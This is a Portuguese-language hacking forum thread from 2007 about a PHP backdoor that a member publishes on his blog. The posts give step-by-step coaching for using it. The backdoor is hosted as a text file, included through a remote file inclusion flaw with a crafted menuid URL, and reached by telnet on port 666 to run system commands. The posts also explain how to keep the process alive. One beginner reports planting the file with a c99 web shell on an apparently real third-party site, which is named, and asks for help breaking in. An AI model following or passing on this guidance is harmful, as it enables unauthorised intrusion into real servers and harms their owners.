PHPShell [backdoor]

Started by branco, 26 de December , 2007, 05:28:27 PM

Previous topic - Next topic

0 Members and 1 Guest are viewing this topic.

branco

pequeno backdoor que utilizarei em futuros artigos, mas já pode ser utilizado.

http://brancohat.blogspot.com/2007/12/b ... ndows.html
Olha o trem... Quem vai ficar, quem vai partir? Quem vai chorar, quem vai sorrir?

Mateus

Branco, muito bom trabalho, Porem não vejo a nescessidade de fazer um backdoor desses em php usando sockets (Gostei da orientação a objetos), me parece muito mais facil rapido e sensato fazer em uma linguagem compilada com C# C++ delphi e etc

espere que não encare como flame,

Att. Mateus
H4X with axes 8)

branco

rsrs entendo...mas pense comigo :

um servidor está vulneravel a PHP injection, se você mandar ele incluir um backdoor em C++ por exemplo, ele não vai processa-lo e ai esse backdoor não vai adiantar em nada.

agora, se ele for em PHP, o servidor irá interpreta-lo e você vai poder se conectar por telnet por exemplo =]

por enquanto ele não faz nada de útil mesmo...oque ele faz agente pode fazer bem melhor com uma CMD por exemplo.

ele vai ser usado em futuros artigos, onde será de grande valor.

até  ;)
Olha o trem... Quem vai ficar, quem vai partir? Quem vai chorar, quem vai sorrir?

Mateus

sim mas lembra do exepiration time do php?
ele só vai durar 30 segs rodando a não ser que vc rode ele como em

Quote[root@localhost mateus]# php backdoor.php

e se é pra rodar assim da pra rodar um em c++ ou c# por exemplo ^^  fora que pelo que eu vi só roda em windows

mas volto a elogiar pq foi muito bem programado ^^


Mateus
H4X with axes 8)

branco

hehe acho que não chegou a ler toda "documentação" que escrevi né =]

segue oque foi dito no blog :

Quote"pontos a considerarmos :

1 - Quando a função socket_read do PHP é utilizada com o argumento PHP_NORMAL_READ, ela lê até encontrar \r ou \n, por isso é necessário haver uma compatibilidade entre nosso backdoor e o cliente. O telnet por exemplo, quando apertamos enter gera um "\r" que faz com que a função pare de lê e execute oque foi digitado.
Da mesma maneira, para o telnet gerar uma nova linha, utilizamos "\n\r".
Caso seja necessário esse valor pode ser mudado na definição da constante NEW_LINE


2 - set_time_limit não pode ser mudado quando safe_mode está on, por isso nosso backdoor reescreve max_execution_time para 90000000, assim ele poderá esperar por conexões enquando o servidor estiver ligado.

3 - a função execCommand quando não encontra a variável de ambiente ComSpec, utiliza a constante CMD_DIR para encontrar o cmd.exe do servidor, caso esse não seja o diretório correto, você deve modifica-la. ( isso é, se você conhece o diretório correto )

4 - o backdoor foi feito para PHP 4, apesar de eu ter utilizado PHP 5 no desenvolvimento. Se fosse feito para versões 5, deixaria de executar em muitos servidores desatualizados.

se não entenderam algo, entrem em contato."


vale ressaltar ainda que a tecnica que mostrarei no futuro artigo se basea em windows, apesar que com algumas modificações poderemos executar em outros SO, porém isso foge do meu objetivo de conseguir acesso root e ao desktop do windows.

estou escrevendo webhackers 2, e as tecnicas serão mais pro windows, e mostrarão as diversas tecnicas de se conseguir acesso ao desktop do servidor.

até  ;)
Olha o trem... Quem vai ficar, quem vai partir? Quem vai chorar, quem vai sorrir?

Mateus

sorry, não vi que existia uma "documentação" só dei uma olhada bem por cima no codigo tb não vi a parte do execution time ^^, neste caso não tenho mais nada a comentar sobre o código, tá limpo, bem estruturado e bem comentado, parabéns

mas.......estava lendo o resto do blog, e gostaria de ressaltar a minha admiração pelo trabalho que você está desenvolvendo....falando directa e e claramente sabendo do que está falando, sobre "hacking"

greetz...keep going!

au revoir, Mateus
H4X with axes 8)

rmoraes

Tenho uma dúvida  ???

Vlw aeee

Wuefez

Tem um problema se você rodar o script por linha de comando pelo cmd, ou acessar ele pelo browser, quando você fechar o cmd ou fechar o browser o php vai matar o script automaticamente, obviamente fazendo teu backdoor fechar......

Da uma olhada nessa função e ve se resolve teu problema:
http://br.php.net/ignore_user_abort

Mas em geral ta bem legal.. Eu não perderia tempo com OOP pra um script tão pequeno, mas se você quer fazer bem feito, faça...

Agora @rmoraes, "min" é com M no final!


"Quem fala não faz."

branco

Quotesorry, não vi que existia uma "documentação" só dei uma olhada bem por cima no codigo tb não vi a parte do execution time ^^, neste caso não tenho mais nada a comentar sobre o código, tá limpo, bem estruturado e bem comentado, parabéns

mas.......estava lendo o resto do blog, e gostaria de ressaltar a minha admiração pelo trabalho que você está desenvolvendo....falando directa e claramente sabendo do que está falando, sobre "hacking"

muito obrigado ^^

Quote from: "rmoraes"Tenho uma dúvida  ???

Vlw aeee

é a mesma coisa que injetar uma cmd rmoraes, faça um arquivo txt com o código do backdoor e hospede-o, em seguida faça o seguinte :

www.site.com.br/menuid=onde-está-o-código-do-backdoor.txt

prontim =]

eu ainda nao hospedei no meu server porque ele esta com problemas, sorry

Quote from: "Wuefez"Tem um problema se você rodar o script por linha de comando pelo cmd, ou acessar ele pelo browser, quando você fechar o cmd ou fechar o browser o php vai matar o script automaticamente, obviamente fazendo teu backdoor fechar......

Da uma olhada nessa função e ve se resolve teu problema:
http://br.php.net/ignore_user_abort

Mas em geral ta bem legal.. Eu não perderia tempo com OOP pra um script tão pequeno, mas se você quer fazer bem feito, faça...

Agora @rmoraes, "min" é com M no final!

Wuefez, meu objetivo é que as pessoas utilizem esse trojan com PHP injection, só assim ele será útil, se não eu poderia como o amigo Mateus disse, fazer coisas melhores em C++, Perl, Java, etc...

ou seja, na linha de comandos eu nem testei ele, porque não foi feito pra essa finalidade, porém no browser eu testei e ele não parou de aguardar conexões, a porta continuou aberta e respondendo a pedidos.
você testou ai e ao feixar o browser o backdoor parou de responder ?

estou no pc da minha irmã, se não voltaria a fazer mais testes, porém agora estou incapacitado, meu irmão esta no outro...

quanto a não perde tempo com POO, eu já penso diferente...
imagine que você tem um projeto pequeno e o fez estruturado.
se você for acrescentar mais coisas e torna-lo "grande", terá de reescreve-lo.
agora, se você tivesse escrito ele com os conceitos da POO, teria apenas que atualiza-lo.

-

vlw pelos comentarios, qualquer duvida ou sugestao postem ae =]

enjoy
Olha o trem... Quem vai ficar, quem vai partir? Quem vai chorar, quem vai sorrir?

rmoraes

Wuefez valeu por me corrigir :)

Irei fazer teste hoje mesmo é coloco o resultado branco
valeu aeee!

rmoraes

Desculpe o flood, eu não vi o botão editar . . .

Vamos ver se entedi primeiro eu copio o backdoor salvo ele na extensão
.txt upo ele no site é executo-o dessa forma:

http://www.site.net/teste.txt

E depois como faço para conectar a ele atraves do Telnet?
è este backdoor so funciona para windows ou unix também?

Expliquem como conectar e executa-lo sou iniciante peguem leve pessoal  :-\

Abraço

branco

agora que você fez o upload rmoraes, você vai utilizar ele como se fosse uma cmd

vai usar assim :www.site.com.br/?menuid=http://www.site.net/teste.txt

ai o include vai incluir o backdoor, sua pagina em PHP vai interpreta-lo e ele vai se executar !

ai basta você ir ao telnet e se conectar ao servidor que você incluiu o backdoor na porta 666

assim poderá executar comandos do sistema.
Olha o trem... Quem vai ficar, quem vai partir? Quem vai chorar, quem vai sorrir?

rmoraes

Branco,

Eu fiz o upload do backdoor.txt no site pela c99 porém quando fui
injetar o backdoor deste modo:

http://www.calidadempresaria.net/main.p ... ckdoor.txt

Ocorreu este erro como na Imagem o que posso ter feito de errado
eu coloquei o site com a falha para você me ajudar  :)



Vlw !!!

branco

não consegui encontrar o backdoor em http://www.calidadempresaria.net/backdoor.txt

mas tipo, coloca o
vo editar no meu blog, esqueci de colocar
vlws, tamo chegando lá rsrs =p
Olha o trem... Quem vai ficar, quem vai partir? Quem vai chorar, quem vai sorrir?

rmoraes

Branco, coloquei o
A desculpe o backdoor está com o nome rmoraes.txt eu injetei desta forma:

http://www.calidadempresaria.net/main.p ... moraes.txt

Erro:



Disserto o motivo do erro acima e porquê a shell não aceita comandos? Eu acho que não  :(

Vlw !!!